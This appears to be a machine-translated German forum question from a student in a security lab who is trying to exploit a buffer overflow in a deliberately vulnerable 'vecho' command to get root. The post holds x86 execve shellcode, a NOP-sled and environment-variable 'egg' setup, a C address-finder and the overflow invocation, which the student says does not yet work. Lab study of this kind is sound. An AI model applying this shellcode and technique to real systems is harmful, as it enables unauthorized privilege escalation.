Ich mache eine Labor, die uns einen Pufferüberlauf ausführen müssen, um Root-Berechtigungen mit einem eingebauten anfälligen Befehl namens Vecho (funktioniert genauso wie Echo). Aber egal, was ich versuche, ich kann es nicht zum Laufen bringen.Pufferüberlauf Exploit mit Vecho
.section .text
.globl _start
_start:
xor %eax, %eax // your comments go here
push %eax // and here, and so on...
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
mov %esp, %ecx
push %ebx
mov %eax, %edx
mov $0xb, %al
int $0x80
Wir laden diese in eine Umgebungsvariable als Ei gespeichert durch
export EGG=$(<shellcode.bin)
tun wir dann
SLED=`python -c "print '\x90' * 100"`
und fügen Sie den Schlitten auf die Variable
export EGG=$SLED$EGG
einen Schlitten machen
Wir finden dann die Adresse, die EGG an sein wird, wenn wir laufen vecho dies mit
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv){
char *ptr;
if(argc < 3){
printf("Usage:%s<environmentvar><targetprogramname>\n",
argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
printf("%s will be at %p\n", argv[1], ptr);
}
Wir haben dann eine Adresse Variable in Little-Endian-Form erstellen, indem Sie so etwas wie dieses
ADDRESS=echo -en "\xff\xff\xff\xbf"
und eine Polsterung Variable zu tun, die Zeichen genug ist Adresse in das eip zu schieben und dann
vecho $PADDING$ADDRESS
laufen Aber egal was ich versuche ich entweder einen erfolgreichen Druck, wenn die Polsterung zu klein ist, seg Fehler, wenn die Polsterung zu lange und illegaler Unterricht in der Mitte. Ich habe den Eindruck, dass dieser illegale Instruktionsort wichtig ist, aber ich kann ihn nicht dazu bringen, den Shell-Code tatsächlich auszuführen.